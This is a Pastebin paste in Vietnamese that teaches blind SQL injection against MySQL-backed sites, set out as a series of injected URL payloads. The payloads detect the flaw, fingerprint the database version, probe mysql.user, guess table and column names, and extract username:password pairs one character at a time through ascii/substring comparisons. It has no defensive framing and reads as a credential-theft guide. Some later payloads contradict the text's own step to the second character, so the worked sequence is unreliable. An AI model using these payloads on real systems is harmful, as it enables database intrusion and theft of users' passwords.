Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Blind SQL:
- Phát hiện lỗi “blind sql injection”:
- - Đối với MY SQL vesion 4 trở xuống.
- - để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:
- http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1
- nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi
- Khai thác:
- VD:http://www.site.com/news.php?id=5
- Ta tiến hành kiếm version bằng cách sử dụng hàm cắt chuỗi Substring() VD: Substring(‘mmdVBF’,5,3) kết quả sẽ là neo
- http://www.site.com/news.php?id=5 and substring(version(),1,1)=4
- Trang sẽ hiện thị bình thường nếu kết quả truy vấn trên đúng , nếu vậy phiên bản của Mysql này là 4.xxx.x còn nếu không chúng ta thay 4 thành 5 để kiểm tra tiếp
- http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
- http://www.site.com/news.php?id=5 and (select 1)=1
- nếu site tải thông thường thì subselects làm việc.
- sau đó chúng ta sẽ xem liệu chúng ta có thể truy cập mysql.user
- http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
- nếu tải trang thông thường chúng ta có thể truy cập để mysql.user và sau đó, chúng ta có thể kéo một số password usign load_file() function and OUTFILE.
- kiểm tra table và column:
- Đây là một phần khi đoán:
- http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1
- (sử dụng limit 0,1 truy vấn ở đây của chúng ta trả về 1 hàng của dữ liệu, gây ra subselect trả về chỉ 1 hàng, điều này là rất quan trọng.)
- sau đó nếu trang tải bình thường mà không có nội dung thiếu, thì table users exits.
- nếu bạn get FALSE (một số điều còn thiếu), hãy thay đổi table_name cho đén khi đoán đúng
- bây giờ chúng ta có table name là users, nbaay giờ chúng ta cần column name.
- giống như tên bảng, chúng ta bắt đầu đoán. Giống như tôi đã nói trước khi thử các tên gọi thông thường cho các cột.
- http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
- nếu trang tải bình thường, chúng ta biết rằng tên cột là password (nếu chúng ta sai thì thử tên gọi thông thường hoặc chỉ đoán)
- ở đây chúng ta hợp nhất 1 cột password, sau đó trả về chuỗi ký tự đầu tiên (1,1)
- lấy dữ liệu từ cơ sở dữ liệu
- chúng tôi tìm thấy người sử dụng bảng, cột: username, password . vì vậy chúng ta sẽ get các characters từ đó.
- http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
- ok này ở đây get ký tự đầu tiên: user ,trong table users.
- that
- substring ở đây trả về character đầu tiên và 1 character trong length. ascii() converts mà 1 character vào giá trị ascii .
- và sau đó so sánh nó với simbol lớn hơn sau đó>.
- vì vậy nếu char ascii lớn hơn 80 sau đó, tải trang web bình thường. (TRUE)
- chúng ta tiếp tục cố gắng cho đến khi chúng ta nhận được sai.
- http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
- chúng ta nhận được TRUE, giữ incrementing
- http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
- TRUE một lần nữa, cao hơn:
- http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
- FALSE!!!
- do đó, ký tự đầu tiên trong tên username là char (99). Sử dụng bộ chuyển đổi ascii, chúng ta biết rằng char (99) là chữ ‘c’.
- sau đó cho phép kiểm tra các character thứ hai.
- http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
- Lưu ý rằng tôi thay đổi, 1,1, 2,1 để có được những characte thứ hai. (bây giờ nó trả về characte thứ hai, 1 characte lenght)
- http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
- TRUE, trang tải bình thường, cao hơn.
- http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
- FALSE, thấp hơn số lượng.
- http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
- TRUE, cao hơn.
- http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
- FALSE!!!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement